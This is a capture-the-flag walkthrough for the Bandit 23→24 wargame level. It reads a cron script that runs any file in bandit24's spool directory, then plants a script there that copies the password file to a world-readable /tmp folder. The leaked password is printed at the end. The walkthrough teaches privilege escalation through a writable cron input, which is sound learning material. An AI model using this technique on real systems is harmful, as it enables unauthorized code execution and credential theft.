Bandit 23 → 24
Goal: get bandit24’s password from a cron job that runs every script left in its spool directory.
Approach
Section titled “Approach”Read the job, then plant a script that copies the password somewhere world-readable and wait for the next run.
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh#!/bin/bashmyname=$(whoami)cd /var/spool/$myname/foofor i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then owner="$(stat --format "%U" ./$i)" if [ "${owner}" = "bandit23" ]; then timeout -s 9 60 ./$i fi rm -f ./$i fidonebandit23@bandit:~$ mkdir -p /tmp/loot && chmod 777 /tmp/lootbandit23@bandit:~$ cat > /var/spool/bandit24/foo/run.sh <<'EOF'#!/bin/bashcat /etc/bandit_pass/bandit24 > /tmp/loot/pwEOFbandit23@bandit:~$ chmod +x /var/spool/bandit24/foo/run.shbandit23@bandit:~$ cat /tmp/loot/pwThe password you are looking for is: <password>Password
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8Why it works
Section titled “Why it works”The job runs every script that appears in bandit24’s spool directory as bandit24, and that directory is writable by you. Write access to a privileged job’s input is code execution as that user: the planted script copies the password to a directory you can read. You never needed read access to bandit24’s files, only the ability to make it act for you.